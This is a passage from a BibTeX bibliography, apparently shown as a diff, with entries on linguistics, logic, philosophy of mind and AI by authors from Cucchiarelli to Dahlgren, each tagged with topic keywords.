cucchiarelli-velardi:2001a, + author = {Alessandro Cucchiarelli and Paola Velardi}, + title = {Unsupervised Named Entity Recognition Using + Syntactic and Semantic Contextual Evidence}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {1}, + pages = {123--131}, + topic = {personal-name-recognition;machine-learning;} + } + +@inproceedings{ cui_bq-etal:1999a, + author = {Baoqui Cui and Terrance Swift and David S. Warren}, + title = {A Case Study in Using Preference Logic Grammars + for Knowledge Representation}, + booktitle = {Lecture Notes in Artificial Intelligence 1730: + Logic Programming and Nonmonotonic Reasoning}, + year = {1999}, + editor = {Michael Gelfond and Nicola Leone and Gerald Pfeifer}, + pages = {206--220}, + publisher = {Springer-Verlag}, + address = {Berlin}, + topic = {model-preference;kr;} + } + +@article{ cui_bq-swift_t:2002a, + author = {Baoaiu Cui and Terrance Swift}, + title = {Preference Logic Grammars: Fixed Point Semantics and + Application to Data Standardization}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {138}, + number = {1--2}, + pages = {117--147}, + topic = {logic-programming;model-preference;nonmonotonic-reasoning;} + } + +@inproceedings{ cui_z-etal:1992a, + author = {Zhan Cui and Anthony G. Cohn and David A. Randell}, + title = {Qualitative Simulation Based on a Logical Formulation of + Space and Time}, + booktitle = {Proceedings of the Tenth National Conference on + Artificial Intelligence}, + year = {1992}, + editor = {Paul Rosenbloom and Peter Szolovits}, + pages = {679--684}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {spatial-reasoning;temporal-reasoning;} + } + +@book{ culicover-etal:1977a, + editor = {Peter W. Culicover and Thomas Wasow and Adrian Akmajian}, + title = {Formal Syntax}, + publisher = {Academic Press}, + year = {1977}, + address = {New York}, + ISBN = {0121992403}, + topic = {nl-syntax;} + } + +@book{ culicover-rochemont:1981a, + author = {Peter W. Culicover and Michael Rochemont}, + title = {Stress and Focus in {E}nglish}, + publisher = {School of Social Sciences, University of California}, + year = {1981}, + address = {Irvine, California}, + ISBN = {0521364124}, + topic = {stress;sentence-focus;English-language;} + } + +@book{ cullicover:1981a, + author = {Peter Cullicover}, + title = {Negative Curiosities}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {negation;} + } + +@book{ cullicover:1997a, + author = {Peter W. Cullicover}, + title = {Principles and Parameters: An Introduction to Syntactic Theory}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + topic = {nl-syntax;principles-and-parameters-syntax;} + } + +@article{ cullicover-jackendoff:1997a, + author = {Peter W. Cullicover and Ray Jackendoff}, + title = {Semantic Subordination Despite Syntactic Coordination}, + journal = {Linguistic Inquiry}, + year = {1997}, + volume = {28}, + number = {2}, + pages = {195--230}, + contentnote = {Extended study of a purported mismatch between + syntactic structure and semantic representation.}, + topic = {nl-semantics;} + } + +@book{ cullity-gaut:1997a, + editor = {Garrett Cullity and Berys Gaut}, + title = {Ethics and Practical Reason}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + ISBN = {0198236468 (hardcover)}, + topic = {practical-reasoning;} + } + +@article{ culy:1985a, + author = {Christopher Culy}, + title = {The Complexity of the Vocabulary of {B}ambara}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {3}, + pages = {345--351}, + topic = {formal-language-theory;nl-syntax;Bambara-language;} + } + +@article{ culy:1996a, + author = {Christopher Culy}, + title = {Formal Properties of Natural Language and Linguistic + Theories}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {6}, + pages = {599--617}, + topic = {formal-language-theory;foundations-of-syntax;} + } + +@inproceedings{ cumby-roth:2000a, + author = {Chad Cumby and Dan Roth}, + title = {Relational Representations that Facilitate Learning}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {425--434}, + topic = {machine-learning;concept-learning;} + } + +@article{ cummins-gottlieb:1972a, + author = {Robert Cummins and Dale Gottlieb}, + title = {On an Argument for Truth-Functionality}, + journal = {American Philosophical Quarterly}, + year = {1972}, + volume = {9}, + number = {3}, + pages = {265--269}, + topic = {truth-functionality;} + } + +@article{ cummins_r:1975a, + author = {Robert Cummins}, + title = {Truth and Logical Form}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {1}, + pages = {29--44}, + topic = {logical-form;truth-definitions;Davidson-semantics;} + } + +@article{ cummins_r-gottlieb:1976a, + author = {Robert Cummins and Dale Gottlieb}, + title = {Better Total Consequences: Utilitarianism and + Extrinsic Value}, + journal = {Metaphilosophy}, + year = {1976}, + volume = {7}, + number = {3/4}, + pages = {286--306}, + topic = {utilitarianism;} + } + +@article{ cummins_r:1977a, + author = {Robert Cummins}, + title = {Reply to {H}ugly and {S}ayward}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {3}, + pages = {353--354}, + contentnote = {This is a reply to hugly-sayward:1977a.}, + topic = {logical-form;truth-definitions;Davidson-semantics;} + } + +@book{ cummins_r:1983a, + author = {Robert Cummins}, + title = {The Nature of Psychological Explanation}, + publisher = {The {MIT} Press}, + year = {1983}, + address = {Cambridge, Massachusetts}, + topic = {philosophy-of-psychology;} + } + +@book{ cummins_r:1989a, + author = {Robert Cummins}, + title = {Meaning and Mental Representation}, + publisher = {The {MIT} Press}, + year = {1989}, + address = {Cambridge, Massachusetts}, + topic = {philosophy-of-language;foundations-of-semantics; + philosophy-of-mind;} + } + +@book{ cummins_r-pollock:1991a, + editor = {Robert Cummins and John L. Pollock}, + title = {Philosophy and {AI}: Essays at the Interface}, + publisher = {The {MIT} Press}, + year = {1991}, + address = {Cambridge, Massachusetts}, + contentnote = {Chapters: + 1. Michael Bratman and David Israel and Martha Pollack, "Plans + and Resource-Bounded Practical Reasoning", pp. 1--22 + 2. Robert Cummins, "Cross-Domain Inference and Problem + Embedding", pp. 23--38 + 3. Jon Doyle, "The Foundations of Psychology: A Logico-Computational + Inquiry into the Concept of Mind", pp. 39--77 + 4. Jennifer Elgot-Drapkin, Michael Miller, and Donald + Perlis, "Memory, Reason, and Time: the Step-Logic + Approach", pp 79--103 + 5. Glymour, Kelley and Spirtes, "Artificial Intelligence and Hard + Problems: The Expected Complexity of Problem + Solving", pp. 105--128 + 6. Henry Kyburg, "Normative and Descriptive Ideals", pp. 129--139 + 7. Ron Loui, "Ampliative Inference, Computation, and + Dialectic", pp. 141--155 + 8. Judea Pearl, "Probabilistic Semantics for Nonmonotonic + Reasoning", pp. 157--187 + 9. John L. Pollock, "OSCAR: A General Theory of + Rationality", pp. 189--213 + 10. Suuart C. Shapiro and William Rapaport, "Models and Minds: + Knowledge Representation for Natural-Language + Competence", pp. 215--259 + 11. Yoav Shoham, "Implementing the Intensional Stance", pp. 261--277 + 12. Paul Thagard, "The Dinosaur Debate: Explanatory Coherence and + the Problem of Competing Hypotheses", pp. 279--300 + } , + topic = {philosophy-AI;} + } + +@book{ cummins_r:1996a, + author = {Robert Cummins}, + title = {Representations, Targets, and Attitudes}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + xref = {Review: egan:1998a.}, + topic = {propositional-attitudes;philosophy-of-mind; + foundations-of-semantics;intentionality; + foundations-of-cognition;} + } + +@article{ cummins_r:1996b, + author = {Robert Cummins}, + title = {Systematicity}, + journal = {The Journal of Philosophy}, + year = {1996}, + volume = {93}, + number = {12}, + missinginfo = {pages = 591--???}, + topic = {philosophy-of-cogsci;philosophy-of-mind;} + } + +@article{ cummins_r:1997a, + author = {Robert Cummins}, + title = {The Lot of the Causal Theory of Mental Content}, + journal = {The Journal of Philosophy}, + year = {1997}, + volume = {94}, + number = {10}, + pages = {535--542}, + topic = {philosophy-of-mind;propositional-attitudes; + foundations-of-cognition;} + } + +@book{ cummins_r-cummins_dd:1999a, + editor = {Robert Cummins and Denise Dellarosa Cummins}, + title = {Minds, Brains, Computers: The Foundations of + Cognitive Science}, + publisher = {Blackwell Publishers}, + year = {1999}, + address = {Oxford}, + ISBN = {1-55786-877-8 (pb)}, + topic = {philosophy-of-cogsci;} + } + +@article{ cummins_r-etal:2002a, + author = {Robert Cummins and Alexa Lee and Martin Roth and David + Byrd and Pierre Poirier}, + title = {Review of {\it On Clear and Confused Ideas: An Essay about + SUbstance Concepts}, by {R}uth {G}arrett {M}illikan}, + journal = {The Journal of Philosophy}, + year = {2002}, + volume = {99}, + number = {2}, + pages = {102--108}, + xref = {Review of: millikan:2000a.}, + topic = {metaphysics;individuation;} + } + +@incollection{ cunningham-etal:1998a, + author = {Hamish Cunningham and Mark Stevenson and Yorick Wilks}, + title = {Implementing a Sense Tagger in a General + Architecture for Text Engineering}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Natural Language + Learning: {NeMLaP3/CoNLL98}}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {David M.W. Powers}, + pages = {59--72}, + address = {Somerset, New Jersey}, + topic = {corpus-tagging;} + } + +@incollection{ cunningham_h-etal:1998a, + author = {Hamish Cunningham and Mark Stevenson and Yorick Wilks}, + title = {Implementing a Sense Tagger in a General + Architecture for Text Engineering}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {59--71}, + address = {Somerset, New Jersey}, + topic = {lexical-disambiguation;} + } + +@article{ cunningham_s1:1997a, + author = {Suzanne Cunningham}, + title = {Two Faces of Intentionality}, + journal = {Philosophy of Science}, + year = {1997}, + volume = {64}, + number = {3}, + pages = {445--460}, + topic = {intentionality;} + } + +@book{ cunningham_s2-hubbold:1992a, + editor = {S. Cunningham and R.J. Hubbold}, + title = {Interactive Learning Through Visualization : The Impact of + Computer Graphics in Education}, + publisher = {Springer-Verlag}, + year = {1992}, + address = {Berlin}, + ISBN = {3540551050}, + contentnote = {TC: + 1. Andries van Dam, "Electronic Books and Interactive + Illustrations: Transcript of a Talk" + 2. Richard L. Phillips, "Opportunities for Multimedia in + Education" + 3. John Lansdown, "Mnemotechnics and the Challenge + of Hypermedia" + 4. Christoph Hornung, "Cooperative Learning Using + Hypermedia" + 5. G. Scott Owen, "Hyper{G}raph: A Hypermedia System + for Computer Graphics Education" + 6. Shogo Nishida, "Hyper-Simulator Based Learning + Environment to Enhance Human Understanding" + 7. Thomas G. West, "Visual Thinkers, Mental Models and + Computer Visualization" + 10. Judith R. Brown, "The Multi-Faceted Blackboard: Computer Graphics + in Higher Education" + 11. Charlie Gunn, "Remarks on Mathematical Courseware" + 12. Kenneth O'Connell, "Visualization of Concepts in Physics" + 13. Hermann Haertel, "Visual Ways of Knowing, Thinking, and + Interacting" + 14. Jonathan P. Taylor, "Prospero: A System for Representing + the Lazy Evaluation of Functions" + 15. Jacques Raymond, "Computer aSsisted Lecturing: One + Implementation" + 16. Joan Truckenbrod and Barbara Mones-Hattal, "Interactive + Computer Graphics via Telecommunications" + 17. Donna J. Cox, "Collaborative Computer + Graphics Education" + 18. Bernard Levrat, "Portability of Educational Materials + Using Graphics" + 19. Adele Newton, "Collaboration between Industry and + Academia: Computer Graphics in Design Education" + 20. Ahmad H. Nasri, "Computer Graphics in Computer Graphics + Education" + 21. Albert Paoluzzi, "Solid Modeling in Computer Graphics Education" + } , + topic = {computer-graphics;computer-assisted-education;} + } + +@incollection{ currie_g:1995a, + author = {Gregory Currie}, + title = {Imagination and Simulation: Aesthetics + Meets Cognitive Science}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {151--169}, + address = {Oxford}, + topic = {folk-psychology;mental-simulation; + psychology-of-pretense;} + } + +@article{ currie_k-tate:1991a, + author = {Ken Currie and Austin Tate}, + title = {O-Plan: The Open Planning Architecture}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {52}, + number = {1}, + pages = {49--86}, + topic = {planning;} + } + +@book{ curry:1963a, + author = {Haskell Curry}, + title = {Foundations of Mathematical Logic}, + publisher = {McGraw-Hill}, + year = {1963}, + address = {New York}, + topic = {logic-classics;} + } + +@incollection{ cushing_jt:2000a, + author = {James T. Cushing}, + title = {Bohmian Insights into Quantum Chaos}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S430--S445}, + address = {Newark, Delaware}, + topic = {quantum-chaos;} + } + +@book{ cushing_s:1977a, + author = {Stephen Cushing}, + title = {The Formal Semantics of Quantification}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {nl-quantifiers;fractional-quantifiers;quantifiers;} + } + +@article{ cushing_s:1987a, + author = {Steven Cushing}, + title = {Some Quantifiers Require Two-Predicate Scopes}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {32}, + number = {2}, + pages = {259--267}, + acontentnote = {Abstract: + Predicate calculus has long served as the basis of mathematical + logic and has more recently achieved widespread use in + artificial intelligence. This system of logic expresses + propositions in terms of quantifications, restricting itself to + the universal and existential quantifiers ``all'' and ``some'', + which appear to be adequate for formalizing mathematics. Systems + that aspire to deal with natural language or everyday reasoning, + however, must attempt to deal with the full range of quantifiers + that occur in such language and reasoning, including, in + particular, plurality quantifiers, such as ``most'', ``many'', + and ``few''. The logic of such quantifiers forces an extension + of the predicate-calculus framework to a system of + representation that involves more than one predicate in each + quantification. In this paper, we prove this result for the + specific case of ``most''. Unlike some other arguments that + attempt to establish the inadequacy of standard predicate + calculus on the basis of intuitive plausibility judgements as to + the likely character of human reasoning [11, 19], our result is + a theorem of logic itself.}, + topic = {generalized-quantifiers;} + } + +@incollection{ cussens-hunter:1991a, + author = {James Cussens and Anthony Hunter}, + title = {Using Defeasible Logic for a Window on a Probabilistic + Database: Some Preliminary Notes}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {146--152}, + address = {Berlin}, + topic = {nonmonotonic-logic;probabilities;reasoning-about-uncertainty;} + } + +@incollection{ cussens-pulman:2000a, + author = {James Cussens and Stephen Pulman}, + title = {Incorporating Linguistics Constraints into Inductive Logic + Programming}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {184--193}, + address = {Somerset, New Jersey}, + topic = {grammar-learning;inductive-logic-programming;} + } + +@incollection{ custer:1998a, + author = {Bradley P. Custer}, + title = {Position Paper on Appropriate Audio/Visual {T}uring Test}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {287--288}, + address = {Somerset, New Jersey}, + topic = {turing-test;} + } + +@inproceedings{ cutler:1974a, + author = {Anne Cutler}, + title = {On Saying What you Mean Without Meaning What You Say}, + booktitle = {Proceedings of the Tenth Regional Meeting of the + Chicago Linguistics Society}, + year = {1974}, + pages = {117--217}, + editor = {M. LaGaly and R.A. Fox and A. Brock}, + publisher = {Chicago Linguistics Society}, + address = {Chicago University, Chicago, Illinois}, + topic = {implicature;speaker-meaning;pragmatics;} + } + +@inproceedings{ cutler:1977a, + author = {Anne Cutler}, + title = {The Context Dependence of `Intonational Meaning'}, + booktitle = {Proceedings of the Thirteenth Regional Meeting of the + Chicago Linguistics Society}, + year = {1977}, + editor = {W. Beach and S. Fox and S. Philosoph}, + pages = {104--115}, + publisher = {Chicago Linguistics Society}, + address = {Chicago University, Chicago, Illinois}, + missinginfo = {editor}, + topic = {intonation;pragmatics;} + } + +@article{ cutler:1987a, + author = {Anne Cutler}, + title = {The Task of the Speaker and the Task of the Hearer}, + journal = {Behavioral and Brain Sciences}, + year = {1987}, + volume = {10}, + pages = {715--716}, + missinginfo = {number}, + topic = {conversation;implicature;} + } + +@article{ cvetkovic-pevac:1988a, + author = {Drago\u{s} Cvetkovi\'{c} and Irena Pevac}, + title = {Man-Machine Theorem Proving in Graph Theory}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {1}, + pages = {1--23}, + topic = {theorem-proving;computer-assisted-science;} + } + +@book{ cyert-march:1963a, + author = {Richard M. Cyert and J.G. March}, + title = {A Behavioral Theory of the Firm}, + publisher = {Prentice Hall}, + year = {1963}, + address = {Englewood Cliffs, New Jersey}, + missinginfo = {A's 1st name.}, + topic = {management-science;} + } + +@incollection{ czelakowski:1996a, + author = {Janusz Czelakowski}, + title = {Elements of Formal Action Theory}, + booktitle = {Logic, Action, and Information: Essays on Logic in + Philosophy and Artificial Intelligence}, + year = {1996}, + publisher = {Walter de Gruyter}, + editor = {Andr\'e Fuhrmann and Hans Rott}, + pages = {3--62}, + address = {Berlin}, + contentnote = {This is a useful survey article on the philosophical + side of action theory. The author is apparently unaware + of the work in AI.}, + topic = {action;action-formalisms;STIT;} + } + +@article{ czermak:1974a, + author = {J. Czermak}, + title = {A Logical Calculus with Descriptions}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {3}, + pages = {211--228}, + topic = {definite-descriptions;} + } + +@incollection{ daciuk-etal:1998a, + author = {Jan Daciuk and Bruce W. Watson and Richard E. Watson}, + title = {Incremental Construction of Minimal Acyclic Finite + State Automata and Transducers}, + booktitle = {{FSMNLP'98}: International Workshop on Finite State + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Lauri Karttunen}, + pages = {48--55}, + address = {Somerset, New Jersey}, + topic = {nl-processing;finite-state-nlp;finite-state-automata; + construction-of-FSA;} + } + +@article{ daciuk-etal:2000a, + author = {Jan Daciuk and Stoyan Mihov and Bruce W. Watson and + Richard E. Watson}, + title = {Incremental Construction of Minimal Acyclic Finite-State + Automata}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {1}, + pages = {3--16}, + topic = {finite-state-nlp;finite-state-automata;} + } + +@article{ dacosta-doria:1995a, + author = {Newton C.A. da Costa and Francesco Doria}, + title = {On {J}a\'skowski's Discussive Logic}, + journal = {Studia Logica}, + year = {1995}, + volume = {54}, + number = {1}, + pages = {33--60}, + topic = {paraconsistency;quantum-logic;} + } + +@article{ dacosta-etal:1998a, + author = {Newton C.A. da Costa and Ot\'avia Bueno and Steven + French}, + title = {The Logic of Pragmatic Truth}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {6}, + pages = {603--621}, + topic = {modal-logic;paraconsistency;} + } + +@article{ dacosta-bueno:1999a, + author = {Newton C.A. da Costa and Ot\'avio Bueno}, + title = {Review of {\it Russell et le Cercle des Paradoxes}, + by {P}hilippe de {R}ouilhan}, + journal = {Journal of Symbolic Logic}, + year = {1999}, + volume = {64}, + number = {4}, + pages = {1845--1847}, + xref = {Review of: derouilhan:1996a}, + topic = {Russell;paradoxes;} + } + +@book{ daelemans-gazdar:1980a, + editor = {Walter Daelemans and Gerald Gazdar}, + title = {Inheritance and Natural Language Processing: Workshop + Proceedings}, + publisher = {Institute for Language Technology and AI, Tilburg + University}, + year = {1980}, + address = {Tilburg}, + } + +@phdthesis{ daelemans:1987a, + author = {Walter Daelemans.}, + title = {Studies in Language Technology: An Object-Oriented + Computer Model of Morphophonological Aspects of {D}utch}, + school = {Katholieke Universiteit Leuven}, + year = {1987}, + type = {Ph.{D}. Dissertation}, + address = {Leuven}, + topic = {Dutch-language;morphology;nml;} + } + +@inproceedings{ daelemans:1987b, + author = {Walter Daelemans}, + title = {A Tool for the Automatic Creation, Extension, and Updating + of Lexical Knowledge Bases}, + booktitle = {Proceedings of the Third Conference of the {E}uropean + {C}hapter of the {A}ssociation for {C}omputational {L}inguistics}, + year = {1987}, + organization = {{A}ssociation for {C}omputational {L}inguistics}, + pages = {70--74}, + missinginfo = {editor, address, publisher}, + topic = {computational-lexicography;} + } + +@article{ daelemans-etal:1992a, + author = {Walter Daelemans and Koenraad De Smedt and Gerald Gazdar}, + title = {Inheritance in Natural Language Processing}, + journal = {Computational Linguistics}, + year = {1992}, + volume = {18}, + pages = {205--218}, + missinginfo = {number}, + topic = {inheritance;computational-linguistics;} + } + +@incollection{ daelemans:1998a, + author = {Walter Daelemans}, + title = {Abstraction is Harmful in Language Learning (Abstract)}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {David M.W. Powers}, + pages = {1}, + address = {Somerset, New Jersey}, + topic = {machine-learning;nl-processing;abstraction;} + } + +@article{ daelemans:2001a, + author = {Walter Daelemans}, + title = {Review of {\it Learnability in Optimality Theory}, by + {B}ruce {T}esar and {P}aul {S}molensky}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {2}, + pages = {316--317}, + xref = {Review of: tesar-smolensky:2000a.}, + topic = {grammar-learning;optimality-theory;} + } + +@incollection{ dagan-etal:1997a, + author = {Ido Dagan and Yale Kerov and Dan Roth}, + title = {Mistake-Driven Learning in Text Categorization}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {55--63}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;machine-learning; + topic-extraction;} + } + +@inproceedings{ dagan-etal:1997b, + author = {Ido Dagan and Lillian Lee and Fernando Pereira}, + title = {Similarity-Based Methods for Word Sense Disambiguation}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {56--63}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {lexical-disambiguation;nl-processing;} + } + +@incollection{ dagostino-hollenberg:1998a, + author = {Giovanna D'Agostino and Marco Hollenberg}, + title = {Uniform Interpolation, Automata and the Modal + $\mu$-Calculus}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {73--84}, + address = {Stanford, California}, + topic = {modal-logic;} + } + +@article{ dagostino_f:1984a, + author = {Fred D'Agostino}, + title = {Chomsky on Creativity}, + journal = {Synth\'ese}, + year = {1984}, + volume = {58}, + number = {1}, + pages = {63--117}, + topic = {Chomsky;creativity;} + } + +@article{ dagostino_m:1992a, + author = {Marcello D'Agostino}, + title = {Are Tableaux an Improvement on Truth-Tables? Cut-Free + Proofs and Bivalence}, + journal = {Journal of Logic, Language, and Information}, + year = {1992}, + volume = {1}, + number = {3}, + pages = {235--252}, + topic = {proof-theory;semantic-tableaux;cut-free-deduction;} + } + +@article{ dagostino_m-etal:1997a, + author = {Marcello D'Agostino and Dov. M. Gabbay and Alessandra + Russo}, + title = {Grafting Modalities onto Substructural Implication Systems}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {1}, + pages = {65--102}, + topic = {modal-logic;substructural-logics;} + } + +@book{ dagostino_m-etal:1999a, + editor = {Marcello D'Agostino and Dov. M. Gabbay and Reiner H\"anle + and Joachim Posegga}, + title = {Handbook of Tableau Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1999}, + address = {Dordrecht}, + ISBN = {0-7923-5627-6}, + xref = {Review: } , + topic = {proof-theory;} + } + +@article{ dagum-luby:1997a, + author = {Paul Dagum and Michael Luby}, + title = {An Optimal Approximation Algorithm for {B}ayesian Inference}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {93}, + number = {1--2}, + pages = {1--27}, + topic = {Bayesian-networks;probabilistic-reasoning;complexity-in-AI;} + } + +@book{ dahl_n:1984a, + author = {Norman O. Dahl}, + title = {Practical Reason, {A}ristotle, and Weakness of Will}, + publisher = {University of Minnesota Press}, + year = {1984}, + address = {Minneapolis}, + topic = {practical-reasoning;akrasia;Aristotle;} + } + +@article{ dahl_n:1997a, + author = {Norman O. Dahl}, + title = {Two Kinds of Essence in {A}ristotle: A Pale + Man is Not the Same as His Essence}, + journal = {The Philosophical Review}, + year = {1997}, + volume = {106}, + number = {2}, + pages = {233--265}, + topic = {Aristotle;metaphysics;essence;} + } + +@techreport{ dahl_o:1972a, + author = {\"Osten Dahl}, + title = {On Points of Reference}, + institution = {Department of Linguistics, University of G\"oteborg}, + number = {1}, + year = {1972}, + address = {G\"oteborg}, + note = {Logical Grammar Reports}, + topic = {indexicality;context;} + } + +@techreport{ dahl_o:1973a, + author = {\"Osten Dahl}, + title = {Some Suggestions for a Logic of Aspects}, + institution = {Department of Linguistics, University of G\"oteborg}, + number = {3}, + year = {1973}, + address = {G\"oteborg}, + note = {Logical Grammar Reports}, + missinginfo = {number}, + topic = {tense-aspect;} + } + +@techreport{ dahl_o:1973b, + author = {\"Osten Dahl}, + title = {On the Semantics of Quantified Noun Phrases and Related Problems}, + institution = {Department of Linguistics, University of G\"oteborg}, + number = {5}, + year = {1973}, + address = {G\"oteborg}, + note = {Logical Grammar Reports}, + missinginfo = {number}, + topic = {nl-quantifiers;} + } + +@techreport{ dahl_o:1974a, + author = {\"Osten Dahl}, + title = {How to Open a Sentence: Abstraction in Natural Language}, + institution = {Department of Linguistics, University of G\"oteborg}, + number = {12}, + year = {1974}, + address = {G\"oteborg}, + note = {Logical Grammar Reports}, + missinginfo = {number}, + topic = {nl-semantics;anaphora;} + } + +@techreport{ dahl_o:1974b, + author = {\"Osten Dahl}, + title = {Operational Grammars}, + institution = {Department of Linguistics, University of G\"oteborg}, + number = {8}, + year = {1974}, + address = {G\"oteborg}, + note = {Logical Grammar Reports}, + missinginfo = {number}, + topic = {categorial-grammar;} + } + +@book{ dahl_o:1977a, + editor = {\"Osten Dahl}, + title = {Logic, Pragmatics and Grammar}, + publisher = {Department of Linguistics, University of Gothenberg}, + year = {1977}, + address = {G\"oteberg}, + topic = {pragmatics;} + } + +@article{ dahl_o-linell:1980a, + author = {Osten Dahl and Per Linell}, + title = {Review of {\it Psychology and Language, an Introduction to + Psycholinguistics}, by {H}erbert {H}. {C}Lark and {E}ve + {V}. {C}lark}, + journal = {Linguistics and Philosophy}, + year = {1980}, + volume = {3}, + number = {3}, + pages = {437--450}, + xref = {Review of clark_hh-clark_e:1977a.}, + topic = {psycholinguistics;} + } + +@book{ dahl_o:1985a, + author = {\"Osten Dahl}, + title = {Tense and Aspect Systems}, + publisher = {Blackwell Publishers}, + year = {1985}, + address = {Oxford}, + topic = {nl-tense;tense-aspect;} + } + +@incollection{ dahl_o:1995a, + author = {\"Osten Dahl}, + title = {The Marking of the Episodic/Generic Distinction in + Tense-Aspect Systems}, + booktitle = {The Generic Book}, + publisher = {Chicago University Press}, + year = {1995}, + editor = {Gregory Carlson and Francis Jeffrey Pelletier}, + pages = {412--425}, + address = {Chicago, IL}, + topic = {generics;tense-aspect;} + } + +@article{ dahl_o:1999a, + author = {\"Osten Dahl}, + title = {Review of {\it Indefinite Pronouns}, by {M}artin {H}aspelmath}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {6}, + pages = {663--678}, + xref = {Review of haspelmath:1997a.}, + topic = {indefiniteness;pronouns;} + } + +@article{ dahl_v-etal:1993a, + author = {Veronica Dahl and Fred Popovich and Michael Rochemont}, + title = {A Principled Characterization of Dislocated Phrases: + Capturing the Barriers with Static Discontinuity Grammars}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {4}, + pages = {331--352}, + topic = {constituent-structure;grammar-formalisms;} + } + +@incollection{ dahlgren:1974a, + author = {Kathy Dahlgren}, + title = {The Pragmatics of Presupposition}, + booktitle = {{UCLA} Occasional Papers in Linguistics, No. 5}, + publisher = {UCLA Linguistics Department}, + year = {1974}, + editor = {George Bedell}, + address = {Los Angeles}, + topic = {presupposition;} + } + +@book{ dahlgren:1988a, + author = {Kathleen Dahlgren}, + title = {Naive Semantics for Natural Language Understanding}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + address = {Dordrecht}, + topic = {nl-semantics;lexical-semantics;computational-ontology;} + } + +@inproceedings{ dahlgren:1989a, + author = {Kathleen Dahlgren}, + title = {Coherence Relation Assignment}, + booktitle = {Proceedings of the Annual Meeting of the Cognitive Science + Society}, + pages = {588--596}, + year = {1989}, + missinginfo = {Editor, organization}, + topic = {discourse-structure;discourse-coherence;pragmatics;} + } + +@article{ dahlgren-etal:1989a, + author = {Kathleen Dahlgren and Joyce McDowell and Edward P. + {Stabler, Jr.}}, + title = {Knowledge Representation for Commonsense Reasoning with + Text}, + journal = {Computational Linguistics}, + year = {1989}, + volume = {15}, + number = {3}, + missinginfo = {pages}, + topic = {nl-understanding;kr;common-sense-knowledge;} + } + +@article{ dahlgren:1995a, + author = {Kathleen Dahlgren}, + title = {A Linguistic Ontology}, + journal = {International Journal on Human-Computer Studies}, + year = {1995}, + volume = {43}, + number = {5--6}, + pages = {809--818}, + topic = {computational-semantics;computational-ontology;} + } + +@incollection{ 